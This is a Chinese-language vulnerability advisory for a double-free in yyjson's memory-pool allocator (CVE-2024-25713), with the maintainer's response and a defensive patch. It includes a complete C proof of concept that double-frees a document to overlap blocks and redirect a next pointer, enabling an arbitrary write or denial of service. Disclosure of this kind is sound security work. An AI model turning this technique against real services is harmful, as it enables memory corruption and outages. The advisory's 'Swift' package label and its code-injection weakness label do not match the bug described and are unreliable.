CVE-2024-25713：yyjson 中的双重释放漏洞

漏洞详情

数据包: Swift 语言的 github.com/ibireme/yyjson 受影响版本: < 0.9.0 已修复版本: 0.9.0

严重性: 高危 (CVSS 评分 8.8)

摘要

yyjson 的内存池系列分配器（pool_malloc/pool_free/pool_realloc）存在一个双重释放（Double Free）漏洞，该漏洞可能导致任意地址写入和拒绝服务（DoS）攻击。任意地址写入，结合使用该库的程序的其他合法或非法操作，可能导致远程代码执行。

详情

此漏洞的核心原因在于 pool_free 函数缺乏循环检查，而直接原因则源于 pool_free 函数及类似的释放系列函数未执行指针销毁，从而导致了释放后重用（Use-After-Free, UAF）漏洞。

概念验证 (PoC)

下面提供了一个使用 yyjson 0.8.0 的 C 语言程序，用于演示如何利用双重释放漏洞导致内存块重叠，进而修改一个内存块的 next 指针指向任意地址。如果目标地址有效，则可以进行修改。然而，如果地址无效，则可能导致程序崩溃，这可用于发起拒绝服务攻击。此外，构建一个循环链的内存块可能迫使服务陷入无限循环，同样可用于发起拒绝服务攻击。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // double free
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

影响

这是什么类型的漏洞？谁会受到影响？

yyjson 方的说明

yyjson_mut_doc_free() 在其文档中有明确说明：

释放 JSON 文档并回收内存。调用此函数后，doc 以及来自 doc 的所有值将不再可用。如果 doc 为 NULL，此函数将不执行任何操作。

如果你已经对一个文档调用了 yyjson_mut_doc_free()，那么该文档及其内部值将变为无效。对该文档或其值的任何进一步操作都是未定义行为。虽然这本身不是 yyjson 的 bug，但已经提供了一个防御性补丁：0eca326 如果你违反文档说明，错误地对同一个文档调用 yyjson_mut_doc_free() 两次，此补丁将使你的程序立即崩溃，从而提醒你存在错误用法。

参考资料

弱点 (Weaknesses)

CWE-94: 代码生成控制不当（代码注入）—— 该产品使用来自上游组件的外部影响输入来构建全部或部分代码段，但它没有或错误地处理了可能修改预期代码段语法或行为的特殊元素。

发布信息:

国家漏洞数据库 (NVD) 发布日期：2024年2月29日
GitHub 咨询数据库发布日期：2024年2月29日
最后更新日期：2025年11月5日